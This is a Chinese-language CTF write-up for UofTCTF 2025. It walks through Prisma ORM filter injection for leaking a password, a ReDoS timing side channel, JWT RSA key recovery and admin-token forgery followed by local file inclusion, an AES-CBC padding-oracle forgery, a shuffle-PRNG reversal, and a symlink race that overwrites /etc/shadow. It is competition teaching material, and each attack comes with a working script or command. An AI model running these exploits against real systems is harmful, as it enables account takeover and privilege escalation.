UofTCTF 2025 Write Up

Before all

Team: ICEDTEA
Rank: 27/897

開場12, 13小時後才跳進去打的,因為戰隊大部分成員都在準備考試所以這場就大概玩玩,我是挑覺得好玩的題目看看w

但在進場後帥氣地三十分鐘拿下[Web]1337 v4ul7的首殺 🥳 (看到黑箱題居然還沒人解出就興奮的me be like)

image

Web

Prismatic Blogs

這題是被隊友 wang 拉去大概看得,主程式大概長這樣:
是由 Prisma DB + NodeJS Host 的一個服務
目標是讀取到某一個 published 被設定成 false 的 Post,他是屬於某個 User 的,而登入 User 後是能避開 published 限制的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import express from "express";
import { PrismaClient } from "@prisma/client";

const app = express();
app.use(express.json())

const prisma = new PrismaClient();

const PORT = 3000;

app.get(
"/api/posts",
async (req, res) => {
try {
let query = req.query;
query.published = true;
let posts = await prisma.post.findMany({where: query});
res.json({success: true, posts})
} catch (error) {
res.json({ success: false, error });
}
}
);

app.post(
"/api/login",
async (req, res) => {
try {
let {name, password} = req.body;
let user = await prisma.user.findUnique({where:{
name: name
},
include:{
posts: true
}
});
if (user.password === password) {
res.json({success: true, posts: user.posts});
}
else {
res.json({success: false});
}
} catch (error) {
res.json({success: false, error});
}
}
)

app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});

可以看到在 /api/posts 路徑上是把 url 參數全部吃進去作為 prisma 的 query,也是主要的弱點
然後這是 schema.prisma 檔案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
datasource db {
provider = "sqlite"
url = "file:./database.db"
}

generator client {
provider = "prisma-client-js"
}

model User {
id Int @id @default(autoincrement())
createdAt DateTime @default(now())
name String @unique
password String
posts Post[]
}

model Post {
id Int @id @default(autoincrement())
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
published Boolean @default(false)
title String
body String
author User @relation(fields: [authorId], references: [id])
authorId Int
}

注意到在 User 和 Post 兩個 Model 裡都能互相呼叫彼此,結合剛剛任意查詢 posts 的功能就可以進行 Injection
參考官方 Reference:https://www.prisma.io/docs/orm/reference/prisma-client-reference#filter-conditions-and-operators

調用到 startsWith 判斷,一個像這樣的 Query 就生出來了:

1
2
3
4
5
6
7
8
9
10
11
12
AND: [
author: {
password: {
startsWith: abcdefg
}
},
author: {
name: {
equals: Bob
}
}
]

如果使用者為 Bob 而且密碼是由 abcdefg 開頭,那就會顯示他所有 published 的 posts,不然就只會回傳查詢成功,有這個 Oracle 後就能一個一個 leak 密碼了
最後,因為 startsWith 不分大小寫,所以獲得密碼結果後再用了 lt (小於) 的比較去把大小寫判斷出來的
附上 wang 的 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

url = "http://35.239.207.1:3000/api/login"

start = ""
for i in range(25):
for char in characters:
response = requests.get(f"http://35.239.207.1:3000/api/posts?AND[0][author][password][startsWith]={start+char}&AND[1][author][name][equals]=Bob")
if response.json().get('posts'):
start += char
print(start)
break

CodeDB

一個 Code Search 的小網站,支援 regex 並且 flag.txt 跟一堆 code 檔案是一起搜尋的,只是 flag.txt 不供讀取

講到 regex 就是 ReDoS 的攻擊,利用時間去 side channel 的方法把 flag 一個一個字元洩漏出來
Huli’s Blog Post: https://blog.huli.tw/2023/06/12/redos-regular-expression-denial-of-service/
話不多說,上 賽中不斷修修補補的 Exploit,主要做的調整是多測幾次,然後改用 hex 的方法表達字元(因為有些字元會被當 regex 表達式)
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests as req
import time
import string
from tqdm import *

def do_search(regex):
endpoint='http://34.162.172.123:3000/search'
op=time.time()
for i in range(3):
req.post(endpoint, json={"query":regex,"language":"All"})
return time.time()-op

flag='uoftctf{'
suf_payload='(((((.*)*)*)*)*)!/'

while True:
found=False
for cur in tqdm(string.printable):
if do_search('/'+flag+f"[\\x{hex(ord(cur))[2:].rjust(2, '0')}]"+suf_payload)>4.5:
flag+=cur
found=True
break

print(f"[*]Flag: {flag}")
if cur=='}':
break

image

大概會長這樣去 leak,但不知道為什麼賽中最多只 leak 到 uoftctf{why_15_my_4pp_l4661n6_,後面就不見
更新:知道了,因為最後幾個(.*)的部分會因為字數不足自動忽略
記錄下看到的另一種 payload
/(^uoftctf\{w.*$)|(^u(.*?)*o(.*?)*f(.*?)*t(.*?)*c(.*?)*t(.*?)*f(.*?)*\{(.*?)*(.*?)*(.*?)*(.*?)*(.*?)*(.*?)*(.*?)*(.*?)*(.*?)*(.*?)*(.*?)*~$)/,反過來,匹配正確的時候會特別快,然後是能過得(疑)

1337 v4ul7

一道 web 黑箱題,輸入名字後會產生一個 JWT 經 RS256 簽章過的 Token,在已知 e 的情況下求取 n 會變成一個 linear equation,所以先聲請兩組把公鑰算出來:
使用現成工具:https://github.com/FlorianPicca/JWT-Key-Recovery

一開始以 e= 65537 無法算出來,看題目名稱猜解 e=1337 (這步驟可以用爆破的)
但賽後看到有些隊伍被這步卡 LOL

1
./recover.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjRkbTFuYSIsImlhdCI6MTczNjYwMTA3Nn0.CRXgMlBAdFyM8bULieaihYmGDwJUEjigNgEKM89mUcIG9xDayZGBSnOZnsDkGHa0U2B9Odh977LYCovjXqd3_vpVNCRAVVPv_CWZxowKq8DdMGARxMjfbDgoBaqDp09cAOzsm4xr47Q_2dxBsywKe7QFeIS7NaeKMv6bUQYKxujUnaE7gHAedsMP4O8jKb_V6KSgUoJaklcQlW7ZivCdzT0zdTp1LHWkTLzyCFNkuR9HWzaLi9dEyxH_Thy7hzhLImRgzoJL_OOb-D-ekHgk65FGkPgWrJh-OIycBLe_Zu6HoMFHSj70k1lm5j3JGf-vtxix8ppWkKi5BaiDlyoPWw eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjRkbTFuYSIsImlhdCI6MTczNjYwMTA4OH0.Xmt6AARDLE-JyDhiP8xo-4tipA7dbHxqIfPP845BreiLF704iBeSLMgEQcF5L0ITgpfyscM9TEWRKjvb039VB97TfN7HgUkOmOOd9qpdSJvQWK4x3EsyTJnF26C3g7B5ZuUD-c5u0G11yRU5uGXAwdeR3SFKCACMEU11ZV7c_-X4iZtzk_F_JvJ9Vpgf8pF8Iz8i3PEgA5s4NcE8htJMVXD1cKyBs-M2UilJhh0bT1UBl6qGBHyIOjLguzaEVyN0XdUa1-uDLcObbwkktplr3DXmcoQ9Fvof4PoH_An2KG6EG90bj1kRtGElPxKNaeYJMFB9LgE57NszOZhcUR6kNg -e 1337

拿到 n 的值以後用 factordb 查,驚訝地,查到了
https://factordb.com/index.php?query=22338831...

接下來生成私鑰:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse

p=133484690592026186010860192574898984298222251732925137610117465412963650557521008076227165794297767516123393324271303490723544547350430683180536267607513833975431610470682380246648970069032564239920998973568747372231787302645291647076689658546226314236588333014934173055006561600431592162938720622827437834353
q=167351261673128296009566296072270010432034560428469285438034336781796617783406454468303526986165053458909796709931434581215576253681224557433266457048048741168743667266561931813391517805697301227414374743801620622546225713183008225315674891115964093872136831500798720839019132851721441325450098729852566493471

n = p * q
phi_n = (p - 1) * (q - 1)
e = 1337
d = inverse(e, phi_n)

key = RSA.construct((n, e, d, p, q))

private_key_pem = key.export_key()

with open("private.pem", "wb") as f:
f.write(private_key_pem)

簽一個 token 回去 (python2 的 pyjwt)

1
2
3
4
5
6
7
8
9
10
11
12
13
import jwt

with open("private.pem", "r") as f:
private_key = f.read()

payload={
"username": "4dm1n",
"iat": 1756601712
}

token = jwt.encode(payload, private_key, algorithm="RS256")

print("JWT Token:", token)

接下來登入網站會看到文件讀取的功能,有 LFI,經過讀取 /proc/self/cmdline 得到檔名 5up3r_53cur3_50urc3_c0d3.js,code review 後找到 secret-flag 這個 package
讀取 /usr/src/app/node_modules/secret-flag/index.js 就拿到 flag ㄌ

Crypto

Enchanted Oracle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from base64 import b64encode, b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

print("Welcome to the AES-CBC oracle!")
key = open("key", "rb").read()
while True:
print("Do you want to encrypt the flag or decrypt a message?")
print("1. Encrypt the flag")
print("2. Decrypt a message")
choice = input("Your choice: ")

if choice == "1":
cipher = AES.new(key=key, mode=AES.MODE_CBC)
ciphertext = cipher.iv + \
cipher.encrypt(pad(b"random", cipher.block_size))

print(f"{b64encode(ciphertext).decode()}")

elif choice == "2":
line = input().strip()
data = b64decode(line)
iv, ciphertext = data[:16], data[16:]

cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
try:
plaintext = unpad(cipher.decrypt(ciphertext),
cipher.block_size).decode('latin1')
except Exception as e:
print("Error!")
continue

if plaintext == "I am an authenticated admin, please give me the flag":
print("Victory! Your flag:")
print(open("flag.txt").read())
else:
print("Unknown command!")

經典題,CBC 有 Padding Error 提示,要控制解密結果:
image

回顧下加密流程和 Padding Oracle 手法,如果都能翻成正確的 Padding 格式自然也能再透過xor翻出想要的字元
每次的流程變成:
訂製下一塊 block 要被解密成正確文字的 IV -> 透過 Padding Oracle 解密剛剛的 IV 並制定新的 IV
重複三次就可以把目標字串拼出來了

上腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from tqdm import trange
from base64 import b64decode, b64encode
from Crypto.Util.Padding import pad

r=remote('localhost', 5000)

# Oracle

def oracle(data):
r.recvuntil(b': ')
r.sendline(b'2')
r.sendline(b64encode(data))
return b'Error!' not in r.recvline()

# Padding Oracle

def decrypt(enc):
flag=b''
for i in trange(0, len(enc)-16, 16): # Enumerate Every Blocks
iv, msg=enc[i:i+16], enc[i+16:i+32]
cur=b''
for j in trange(16):
now=15-j # Finding C[now]
candi=[]
for k in range(256):
if oracle(iv[:now]+bytes([k])+xor(cur, bytes([j+1]*j), iv[16-j:])+msg):
candi.append(xor(k, iv[now], j+1))

if len(candi)==2 and candi[0]==bytes([j+1]):
cur=candi[1]+cur
else:
cur=candi[0]+cur
print(f"[*] Current: {cur}")

flag+=cur
print(f"[*] Flag: {flag}")
return flag

target=pad(b'I am an authenticated admin, please give me the flag', 16)
r.recvuntil(b': ')
r.sendline(b'1')
known=b64decode(r.recvline())
payload=xor(target[-16:], b'random\n\n\n\n\n\n\n\n\n\n', known[:16])+known[16:]

cur_iv, cur_enc = b'a'*16, payload[:16]

for i in range(48, 0, -16):
cur_block=decrypt(cur_iv+cur_enc)
cur_iv=xor(target[i-16:i], cur_block, cur_iv)
payload=cur_iv+payload
cur_enc=cur_iv
cur_iv=b'a'*16

r.sendline(b'2')
r.sendline(b64encode(payload))
r.interactive()

有趣的是因為 flag 太長,我這邊打一打就會 timeout 所以最後直接丟給主辦幫我跑 w
image

Shuffler

一個理論上應該隨機的洗牌程式,要求推算出初始的隨機值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#! /usr/local/bin/python3
from fractions import Fraction
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from hashlib import sha256

def Bake(x,y):
if y <= 1 / 2:
x, y = x / 2, 2 * y
elif y >= 1 / 2:
x, y = 1 - x / 2, 2 - 2 * y
return x,y

class PRNG:
def __init__(self, initial_state):
self.x = initial_state[0]
self.y = initial_state[1]

def next(self):
num = self.x + self.y
self.x, self.y = Bake(self.x, self.y)
return num

def random_number(self, n=1):
return int(self.next()*n/2)


class Arrangement:
def __init__(self, seed, n):
self.seed = seed
self.nums = [i for i in range(1, n+1)]
self.shuffle(n)

def shuffle(self, n):
new_nums = []
for i in range(n):
num_index = self.seed % (n - i)
new_nums.append(self.nums.pop(num_index))
self.seed //= (n - i)
self.nums = new_nums


if __name__ == "__main__":
flag = b'uoftctf{...}'
initial_x = Fraction('...')
initial_y = Fraction('...')
k = int('...')
assert 0 <initial_y < 1 and 0 < initial_x < 1 and 0 < k < 100
y_hint1 = initial_y * Fraction(f'{2**k - 1}/{2**k}') * (2 ** k)
x_hint1 = initial_x * Fraction(f'{2**k - 1}/{2**k}') * (2 ** k)
assert y_hint1.denominator == 1 and x_hint1.denominator == 1
y_hint2 = int(bin(y_hint1.numerator)[:1:-1], 2)
x_hint2 = int(bin(x_hint1.numerator)[2:], 2)
assert x_hint2 == y_hint2 * 2
rng = PRNG((initial_x, initial_y))
key = sha256(long_to_bytes(rng.random_number(2**100))).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.encrypt(flag)
print(f"Welcome to the shuffler! Here's the flag if you are here for it {flag.hex()}.")
while True:
bound = int(input("Give me an upper bound for a sequence of numbers, I'll shuffle it for you! "))
if bound < 1:
print("Pick positive numbers!")
continue
if bound > 30:
print("That's too much for me!")
continue
print(Arrangement(rng.random_number(2**100), bound).nums)

首先關注處理洗牌的程式 Arrangement

1
2
3
4
5
6
7
8
9
10
11
12
13
14

class Arrangement:
def __init__(self, seed, n):
self.seed = seed
self.nums = [i for i in range(1, n+1)]
self.shuffle(n)

def shuffle(self, n):
new_nums = []
for i in range(n):
num_index = self.seed % (n - i)
new_nums.append(self.nums.pop(num_index))
self.seed //= (n - i)
self.nums = new_nums

整個流程就是取每次當前種子對剩餘牌數的餘數作為這次要 pop 掉的 index
模擬一遍,假設今天數字是 87 然後洗 5 張牌:

1
2
3
4
5
6
initial: [1, 2, 3, 4, 5]
87 % 5 == 2 -> pop 3 -> [1, 2, 4, 5]
17 % 4 == 1 -> pop 2 -> [1, 4, 5]
4 % 3 == 1 -> pop 4 -> [1, 5]
1 % 2 ==1 -> pop 5 -> [1]
0 % 1 ==0 -> pop 1 -> []

那今天已知洗牌結果的情況,只要種子 < n!,n 是牌數就可以逆推種子
回到剛剛的範例,今天 3 被第一個 pop 出來時我們知道 種子 = X*5+2,以此類推,後面的 X 又可以遞進地被一一列出來,最後就可以逆推回去了
reverse_shuffle

1
2
3
4
5
6
7
8
9
10
11
12
def reverse_shuffle(shuffled_nums):
n = len(shuffled_nums)
original_indices = []
nums = [i for i in range(1, n+1)]
for num in shuffled_nums:
index = nums.index(num)
original_indices.append(index)
nums.pop(index)
seed = 0
for i in range(n-1, -1, -1):
seed = seed * (n - i) + original_indices[i]
return seed

注意到這兩個 Hint

1
2
3
4
5
6
assert 0 <initial_y < 1 and 0 < initial_x < 1 and 0 < k < 100
y_hint1 = initial_y * Fraction(f'{2**k - 1}/{2**k}') * (2 ** k)
x_hint1 = initial_x * Fraction(f'{2**k - 1}/{2**k}') * (2 ** k)
assert y_hint1.denominator == 1 and x_hint1.denominator == 1
y_hint2 = int(bin(y_hint1.numerator)[:1:-1], 2)
x_hint2 = int(bin(x_hint1.numerator)[2:], 2)

第一個 Hint 是告知數字量級以及分母是 $2^k-1$ 的因數
第二個則是一個位元關係,實際模擬一遍 or 用位元想一下就會發現 Bake 函數在初始值夠大時,過幾次操作後就會把x, y 兩個數字給交換,這時候產出的隨機數又會是一樣的了 (這邊因為 k < 100 所以 2**100 是足夠的)

1
2
3
4
5
6
def Bake(x,y):
if y <= 1 / 2:
x, y = x / 2, 2 * y
elif y >= 1 / 2:
x, y = 1 - x / 2, 2 - 2 * y
return x,y

最後藉由這個循環就能把一開始拿去 AES 加密的 Key 給算出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
'''
Connect Info:
nc 34.66.202.4 5000
'''

from pwn import *

def reverse_shuffle(shuffled_nums):
n = len(shuffled_nums)
original_indices = []
nums = [i for i in range(1, n+1)]
for num in shuffled_nums:
index = nums.index(num)
original_indices.append(index)
nums.pop(index)
seed = 0
for i in range(n-1, -1, -1):
seed = seed * (n - i) + original_indices[i]
return seed

r=remote('34.66.202.4', 5000)
appeared={0}
dict = []
r.recvline()

import os
found=False

while True:
r.recvuntil(b'! ')
r.sendline(b'30')
data=r.recvline().decode()
exec(f"cur=reverse_shuffle({data})")
if cur in appeared:
print('Hooray')
found=True
exec(f"dict.append({cur});appeared.add({cur})")
os.system(f'echo {cur} >> log.txt')
if found==True:
break

我是從 log.txt 去把值撈出來的 LOL

1
2
3
4
5
6
7
8
9
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from hashlib import sha256

key=sha256(long_to_bytes(502862720484858228125774457433)).digest()
secret=bytes.fromhex('e38a86c361718fdc984d5d2cecd1b15ba5340428ec36575427af032356a386fbe119c0a579d598b30914408b9420c2c9')
cipher=AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(secret))
# b'uoftctf{Intr0ductioN_2_dyNam1cal_sYst3m_&_cha05}'

解密的部分

Misc

Racing 2

有一支 SUID Binary chal,要做提權

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
char *fn = "/home/user/permitted";
char buffer[128];
FILE *fp;

if (!access(fn, W_OK))
{
printf("Enter text to write: ");
scanf("%100s", buffer);
fp = fopen(fn, "w");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
return 0;
}
else
{
printf("Cannot write to file.\n");
return 1;
}
}

注意到一開始會先檢查當前是否有 /home/user/permitted 寫入權限後,再根據使用者輸入寫入檔案
這中間就有時間差去做 Race Condition,只要建立 symlink 讓它一下指向一般具寫入權限的檔案,一下讓它指向 /etc/shadow,就有機會讓檢查時讀取到前者,寫入時讀取到後者
Command

1
2
3
touch /home/user/whale
while true; do ln -sf /home/user/whale /home/user/permitted ; ln -sf /etc/shadow /home/user/permitted; done &
while true; do printf 'root:$y$j9T$59Q4D77.2KEh1oee7.i..1$PD1XNBwmU8o2DxJzKatgmlAA0QhicizAklwnuA5OME9:19871:0:99999:7:::' | /challenge/chal >/dev/null; done &

/etc/shadow 我寫入的是 kali 密碼 hash 😜
image